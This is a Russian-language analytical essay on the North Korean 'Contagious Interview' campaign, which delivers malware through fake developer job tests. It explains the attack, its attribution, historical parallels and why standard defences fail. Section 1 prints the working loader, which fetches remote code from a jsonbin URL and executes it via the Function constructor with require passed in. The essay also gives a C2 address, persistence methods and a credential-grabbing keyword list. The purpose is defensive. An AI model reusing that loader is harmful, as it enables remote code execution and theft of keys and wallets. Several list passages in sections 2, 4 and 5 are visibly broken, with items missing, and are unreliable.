Зацепка. В одном из вечерних IT-дайджестов промелькнул материал с Hacker News — автор из Германии рассказал, как его друг, software engineer, попался на «предложение работы» через LinkedIn от имени реально существующей компании. Тестовое задание — TypeScript-проект на 180 файлов, Bitbucket, gmail-адрес рекрутера, никаких созвонов. Друг запустил npm run dev. За 30 секунд на его машину приехал полноценный RAT с кражей 28 криптокошельков, всех браузерных креденшелов и SSH-ключей. Я зацепился — потому что за этим частным случаем стоит 30-летняя история того, как доверие, встроенное в инженерные процессы, раз за разом превращается в их же уязвимость.
1. Анатомия атаки: «функция-конструктор как вход в ад». Автор материала на codedge.de опубликовал фрагмент вредоносного кода — и он стоит того, чтобы его разобрать строка за строкой:
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
Это шесть строк. В них — пять архитектурных решений атакующего. (1) Function.constructor — это Function, полученный через lookup-свойство. В Node.js new Function(args, body) компилирует тело как код и возвращает функцию — полный эквивалент eval() в контексте изоляции модуля. (2) Вызов делается при старте приложения (npm run dev / npm start всегда запускают initPriceConfig()). (3) Полезная нагрузка приходит с внешнего URL, а не хранится в репозитории — поэтому git clone и статический анализ не видят ничего вредоносного, кроме одного axios.get. (4) require пробрасывается в скомпилированную функцию — это элегантный способ дать payload доступ ко всем встроенным модулям Node.js: child_process (shelling out), fs (чтение файлов), net/https (свой канал эксфильтрации), process.env (секреты). (5) Имитация легитимности: initPriceConfig — функция с совершенно нормальным названием, в проекте про крипту она звучит уместно.
Дальше payload из jsonbin (24 686 символов обфусцированного JS через obfuscator.io) тянет второй стейдж с C2-сервера 147.189.174.138. На машине разворачивается четыре модуля: интерактивный RAT (node-pty + ssh2 + screenshot-desktop + clipboardy + nut-js), стилер браузерных креденшелов (Chrome/Edge/Brave/LT на всех ОС + 28 кошельков от MetaMask до Trust), file grabber (ищет private key, secret phrase, metamask, bitcoin, solana, .env, .pem, .p12, .pfx, директории .ssh, .aws, .gnupg, .docker) и монитор буфера обмена.
Автор отдельно подчёркивает: malware не пытается повысить привилегии. Оно работает под учётной записью пользователя — и этого достаточно. SSH-ключи, AWS-credentials, кошельки, .env — всё это по дизайну принадлежит обычному пользователю, потому что иначе им нельзя было бы пользоваться ежедневно. cat ~/.ssh/id_rsa от обычного shell делает ровно то же самое.
2. Это не частный случай — это Operation Contagious Interview. Имя дано MITRE: Group G1052, атакующая кампания активна как минимум с декабря 2022 года и связана с Северной Кореей (Lazarus, DeceptiveDevelopment, DEV#POPPER — несколько имён одной и той же операции в разных источниках). Microsoft Defender Experts опубликовали подробный разбор 11 марта 2026 года. Ключевая техника, по MITRE: T1684.001 (Impersonation) и T1204.005 (Malicious Library) — атакующие убеждают жертву скачать и запустить вредоносный код под видом «тестового задания».
Характерные элементы по Unit 42 (октябрь 2024) и Microsoft (март 2026):
axios.get(...)..vscode/tasks.json. То есть атакующий нашёл способ доставить payload даже без явного npm run dev.coremedia.sh и cloud.sh. Для Windows — VBS-скрипт update.vbs и nvidia.js. Persistence — через .bat в Startup Folder (Windows), .desktop файл в ~/.config/autostart/ (Linux), LaunchAgents (macOS).spawn с передачей payload через stdin.3. Кто за этим стоит — и почему это не «киберпреступники». Атрибуция ведёт к Северной Корее. Reuters (апрель 2025) сообщил, что северокорейские операторы создавали подставные американские компании — Bitwise (через неё шла атака на codedge.de), Blocknovia, Softglide — чтобы выглядеть легитимно для LinkedIn-рекрутеров. Fireblocks (январь 2026) разобрал «Anatomy of Operation Contagious Interview»: с 2024 года заблокировано более 1300 мошеннических аккаунтов, украдено более $300 млн в криптовалюте. Это государственная операция по добыче валюты в обход санкций, а не оппортунистический криминал. У неё есть KPI по кварталам, и эти KPI — в долларах.
4. Параллели: 30 лет атак на доверенные инженерные процедуры. Codedge-атака 2026 года — это не новая идея. Это повторение одного и того же паттерна в разных декорациях:
bitcoin-core и крала кошельки. Архитектурный урок: trust в open-source экосистеме — это trust в людях, которых никто не проверял.В каждом случае грабили не систему — грабили доверие к системе.
5. Почему именно сейчас, и почему именно через собеседование. В 2024–2026 годах в IT произошло три изменения, которые сделали атаку через найм оптимальной:
6. Почему стандартная защита не работает. Автор codedge проверил три линии обороны:
axios.get на легитимный домен (jsonbin.io — реальный сервис), не видит содержимого ответа. Claude Code и аналоги не могут статически обнаружить динамическую загрузку кода с внешнего ресурса.~/.ssh и ~/.aws. Но codedge пишет, что для атаки через собеседование Docker — это не просто изоляция, а сигнал. Malware сам проверяет, запущен ли он в VM/container (system_profiler, /proc/cpuinfo, грепает на vmware, qemu, microsoft corporation). И помечает beacon тегом (VM) или (Local). По MITRE T1497, виртуалка получает меньший приоритет у оператора, но не отбрасывается полностью: RAT и file grabber всё равно работают, VM просто реже содержит реальные кошельки.Microsoft рекомендации (март 2026) идут глубже: isolated interview environment должен быть обязательным, любая recruiter-provided repo должна проходить review перед запуском, «paste-and-run» команды должны классифицироваться как high-risk, secrets должны выдаваться just-in-time, mfa + conditional access обязателен для source control / CI / cloud.
Но всё это — защита на стороне работодателя. Со стороны кандидата защиты нет. Кандидат физически не может изолировать себя от среды, в которой он работает, если работает на своём ноутбуке. Кандидат не может проверить 180 файлов за 30 минут. Кандидат не может запустить malware в sandbox, не имея подготовленной VM под рукой. Кандидат доверяет процессу по построению — потому что иначе найм не работает.
7. Структурный парадокс. И вот здесь я подхожу к тому, что меня зацепило сильнее всего. Найм — это единственный инженерный процесс, в котором участник обязан доверять по условию задачи. В обычной работе ты получаешь код, читаешь его, решаешь, запускать или нет. В найме код приходит от потенциального работодателя, и отказ от запуска = отказ от работы. Это не техническая, а социально-инженерная проблема: уязвимость не в коде и не в процессе, а в том, что у кандидата нет легитимной позиции сомневаться.
Microsoft сформулировала это правильно: «exploit the trust job seekers place in the hiring process during periods of high motivation and time pressure, lowering suspicion and resistance». Высокая мотивация — это precondition для атаки, а не её побочный эффект. Именно поэтому атака работает на Web3-разработчиках с кошельками, а не на разработчиках корпоративных ERP: у первых мотивация выше (быстрая удалёнка, опционы, крипто-зарплаты), у вторых — ниже.
Северокорейские операторы это понимают. Они не пытаются взломать Bitbucket (Bitbucket не интересует) или npm (npm — инфраструктура, не цель). Они бьют по самой психологической точке, в которой кандидат не может сказать «нет»: по обещанию работы.
8. Что меня поразило после того, как я собрал всё это вместе. Когда я начал писать этот материал, я думал, что буду рассказывать про технику — про Function.constructor, про axios, про OtterCookie. Но чем глубже я копал, тем яснее становилось: техника здесь вторична. Первична — социальная архитектура найма.
В каждой из 30-летних параллелей — XcodeGhost, event-stream, SolarWinds, 3CX, xz-utils — атакующие не использовали zero-day. Они использовали trust, встроенный в инженерную процедуру. Компилятору доверяют по построению. Maintainer’у open-source доверяют по построению. Обновлению ПО доверяют по построению. Тестовому заданию от работодателя доверяют по построению. Каждое из этих «доверяют по построению» — это инвариант инженерной культуры, который невозможно убрать, не сломав саму культуру.
Это значит, что защита не может быть только технической. Можно сканировать код AI-ассистентом — но он не видит динамическую загрузку. Можно изолировать запуск в Docker — но VM-detection превращает это в фильтр, а не в защиту. Можно запускать в disposable Vagrant — но RAT всё равно успеет exfil. Единственная защита, которая работает, — это изменение социальной нормы найма: «кандидат имеет право спросить, откуда код, прежде чем его запускать», «recruiter-provided repository должен проходить review», «первый контакт — это всегда видеозвонок, а не текстовое сообщение».
Но социальные нормы меняются медленно. А код атакующих — быстро. И в этом — главный структурный риск 2026 года: государственные операции по добыче валюты через найм в IT будут продолжаться до тех пор, пока trust в найм остаётся дешевле, чем его проверка.
Codedge в конце своей статьи пишет: «You opened the door to hell while you just wanted to get a job». Это точная метафора. Но за ней стоит более глубокая истина: дверь была открыта всегда. Северокорейские операторы не взломали замок. Они нашли дверь, которая должна быть открыта по условию задачи, и прошли через неё.
Источники: codedge.de «How to compromise your system with a job interview» (17 августа 2026, обновлено 20 августа 2026); Microsoft Defender Experts «Contagious Interview: Malware delivered through fake developer job interviews» (11 марта 2026); MITRE Group G1052 «Contagious Interview» (обновлено 19 октября 2025); Unit 42 «North Korean Threat Actors Lure Tech Industry Job Seekers» (9 октября 2024); Fireblocks «Anatomy of Operation Contagious Interview» (22 января 2026); Reuters «North Korean cyber spies created U.S. firms to dupe crypto developers» (24 апреля 2025); BleepingComputer «Fake job recruiters hide malware in developer coding challenges» (13 февраля 2026); Sekoia «ClickFake Interview campaign by Lazarus» (31 марта 2025); Cybersecurity News «Fake Web3 Interview Uses Signed ClickOnce to Deploy NeedleStealer» (17 августа 2026); Palo Alto Networks «Novel Malware XcodeGhost Modifies Xcode» (17 сентября 2015) — историческая параллель.